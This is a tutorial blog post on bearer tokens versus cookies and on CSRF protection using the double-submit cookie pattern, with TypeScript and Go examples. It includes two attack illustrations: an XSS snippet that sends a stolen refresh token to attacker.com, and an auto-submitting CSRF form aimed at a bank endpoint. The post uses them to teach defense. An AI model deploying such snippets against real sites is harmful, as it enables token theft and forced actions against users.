Web Security: Cookies and CSRF
Recently, I dove into authentication and CSRF (Cross-Site Request Forgery) protection while building a modern web app with both browser and mobile clients. Here's what I learned about keeping your applications secure.
Bearer Tokens vs. Cookies for Authentication
Bearer Tokens
- Sent in the
Authorization
header:Authorization: Bearer <token>
- Ideal for mobile, desktop apps, and SPAs
- Not sent automatically by browsers - must be set explicitly
- Immune to CSRF attacks (malicious sites can't set custom headers)
Cookies
- Automatically sent by browsers with every request
- Can be secured with
HttpOnly
flag - Vulnerable to CSRF attacks if not properly protected
- Browsers will send cookies even for malicious cross-site requests
Understanding CSRF and Its Impact
CSRF (Cross-Site Request Forgery) occurs when a malicious website tricks a user's browser into making unwanted requests to your backend. If your application only checks for valid cookies, an attacker could perform actions on behalf of your users without their knowledge.
When Is CSRF Protection Necessary?
- Cookies for authentication?
Use case: Storing refresh token in cookie is safest way in the web.
Alternative - localStorage is prone to XSS: Storing refresh tokens in localStorage creates a significant security vulnerability. If an attacker successfully injects malicious JavaScript (XSS), they can easily steal the token:
// Malicious script injected via XSS
const stolenToken = localStorage.getItem('refreshToken');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token: stolenToken })
});
Why cookies are safer: Even with XSS, HttpOnly cookies cannot be accessed by JavaScript, making them immune to token theft.
- ā
Required for all state-changing endpoints (POST, PUT, DELETE, etc.) e.g.
/refresh
and/logout
CSRF Attack Example: Consider a banking application where a user is logged in. An attacker creates a malicious website that automatically submits a form to the bank's logout endpoint:
<!-- Malicious website form -->
<form action="https://bank.com/logout" method="POST" id="csrf-form">
<input type="hidden" name="action" value="logout">
</form>
<script>
// Automatically submit the form when page loads
document.getElementById('csrf-form').submit();
</script>
If the user visits this malicious site while logged into their bank account, they could be logged out without their knowledge. With CSRF protection, the bank would require a valid CSRF token in the request headers, which only the legitimate bank website can provide.
- Bearer tokens in headers?
- ā Not needed
- Browsers can't set
Authorization
headers on cross-origin requests
How CSRF Protection Works
The standard defense is the double-submit cookie pattern:
- Server sets a CSRF token cookie (not
HttpOnly
) - Frontend JavaScript reads this token and sends it in a custom header (e.g.,
X-CSRF-Token
) - Backend verifies the token in the header matches the cookie value
This works because while browsers automatically send cookies, only your legitimate frontend can read the CSRF token and include it in the request headers.
Implementation Example
Frontend (JavaScript):
// Get CSRF token from cookie
function getCSRFTokenFromCookie(): string | null {
const match = document.cookie.match(/(?:^|; )csrf_token=([^;]*)/);
return match ? decodeURIComponent(match[1]) : null;
}
// Get CSRF token from
async function getCSRFTokenSafe(): Promise<string> {
const csrfToken = getCSRFTokenFromCookie();
if (csrfToken && csrfToken.length > 0) {
return csrfToken;
}
// Only try authenticated CSRF token endpoint
await fetch('/csrf', {
credentials: 'include',
});
const newCsrfToken = getCSRFTokenFromCookie();
if (!newCsrfToken) {
throw new Error('CSRF token not found');
}
return newCsrfToken;
}
// Read CSRF token from cookie and include in request
const csrfToken = await getCSRFTokenSafe()
fetch('/api/sensitive-action', {
method: 'POST',
credentials: 'include',
headers: {
'X-CSRF-Token': csrfToken,
'Content-Type': 'application/json',
},
body: JSON.stringify({ action: 'update' }),
});
Backend (Go example):
func SetCSRFCookie(w http.ResponseWriter, csrfToken string) {
// Set the CSRF token as a cookie (session only)
csrfCookie := http.Cookie{
Name: "csrf_token",
Value: csrfToken,
Path: "/",
Secure: os.Getenv("ENV") == "production",
SameSite: http.SameSiteStrictMode,
// Not httpOnly so JS can read it
}
http.SetCookie(w, &csrfCookie)
}
// csrf endpoint
func (h *TokenHandler) HandleGetCSRFToken(w http.ResponseWriter, r *http.Request) {
// validate refresh token
validationResult := h.validateRefreshToken(r)
// If token is revoked/invalid, clear cookies and return 401
if !validationResult.IsValid {
utils.RespondWithJSON(w, http.StatusUnauthorized, nil)
return
}
csrfToken, err := utils.GenerateCSRFToken() // a secure random key of 32 bytes
if err != nil {
log.Printf("Failed to generate CSRF token: %v", err)
http.Error(w, "Internal server error", http.StatusInternalServerError)
return
}
SetCSRFCookie(w, csrfToken)
utils.RespondWithJSON(w, http.StatusOK, nil)
}
// CSRF middleware to protect state changing endpoints like /refresh or /logout
func CSRFMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
csrfCookie, err := r.Cookie("csrf_token")
if err != nil {
http.Error(w, "CSRF token missing", http.StatusForbidden)
return
}
csrfHeader := r.Header.Get("X-CSRF-Token")
if csrfHeader == "" || csrfHeader != csrfCookie.Value {
http.Error(w, "Invalid CSRF token", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
Key Security Takeaways
- Bearer tokens are ideal for APIs and client-side applications
- Cookies work well for web but require CSRF protection
- Always use HTTPS to protect tokens in transit
This article was generated with the assistance of Claude 4. Always review and adapt security practices to your specific use case and requirements.